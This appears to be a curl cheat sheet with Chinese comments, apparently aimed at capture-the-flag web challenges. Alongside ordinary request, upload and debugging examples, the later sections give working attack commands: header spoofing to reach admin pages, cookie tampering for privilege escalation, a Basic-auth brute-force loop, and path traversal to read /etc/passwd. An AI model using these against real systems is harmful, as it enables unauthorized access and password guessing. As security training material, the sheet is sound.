# JSON POST
curl -X POST https://api.example.com/users \
  -H "Content-Type: application/json" \
  -d '{"name":"alice","age":20}'
# 表单 POST
curl -X POST https://api.example.com/login \
  -d "username=admin&password=123456"
# 文件上传
curl -F "file=@./test.zip" -F "name=demo" https://api.example.com/upload
# 自定义方法
curl -X GRAB https://api.example.com/entrance

# 伪造来源
curl -e "https://lemu.de/" http://target/api
# 伪造客户端 IP
curl -H "X-Forwarded-For: 127.0.0.1" http://target/admin
curl -H "X-Real-IP: 127.0.0.1" http://target/admin
# 伪造 UA
curl -A "LeMMIH/0.1" http://target/api

# 只看 HTTP 状态码
curl -s -o /dev/null -w "%{http_code}\n" https://example.com
# 输出耗时、状态码、大小
curl -s -o /dev/null -w "code=%{http_code} time=%{time_total}s size=%{size_download}\n" https://example.com

# Basic 认证（等价于 -u）
curl -H "Authorization: Basic $(echo -n 'admin:123456' | base64)" https://api.example.com
# 从文件读取 token 变量
curl -H "Authorization: Bearer $(cat token.txt)" https://api.example.com

# 登录并保存 Cookie，再用 Cookie 访问
curl -c cookies.txt -d "user=admin&pass=123" https://example.com/login
curl -b cookies.txt https://example.com/profile

# 强制直连，绕过系统代理（你原命令中的用法）
curl --noproxy "*" http://202.120.222.171:31876/api/entrance

# 常用调试：看请求头、响应头、状态码
curl -v https://example.com
# 只保留响应头（不发请求体）
curl -s -D - -o /dev/null https://example.com

# 断点续传
curl -C - -O https://example.com/bigfile.iso
# PUT 上传
curl -X PUT -T local.txt https://api.example.com/files/local.txt

# 1. 自定义方法 + 伪造来源 + 伪造 UA + 禁代理
curl.exe --noproxy "*" -X GRAB -A "LeMMIH/0.1" -e "https://lemu.de/" \
  "http://202.120.222.171:31876/api/entrance"
# 2. 伪造本地 IP 访问管理员页
curl -H "X-Forwarded-For: 127.0.0.1" http://target/admin.php
# 3. 修改 Cookie 越权
curl -b "admin=1" http://target/index.php
# 4. Basic 认证爆破（配合字典循环）
for p in $(cat pass.txt); do
  code=$(curl -s -o /dev/null -w "%{http_code}" -u "admin:$p" http://target/)
  [ "$code" = "200" ] && echo "FOUND: $p"
done
# 5. 只取响应头看重定向
curl -I http://target/
# 6. 保留路径穿越，不规范化
curl --path-as-is "http://target/static/../../etc/passwd"
# 7. 发送 JSON 并看状态码
curl -s -o /dev/null -w "%{http_code}\n" -X POST \
  -H "Content-Type: application/json" -d '{"id":1}' http://target/api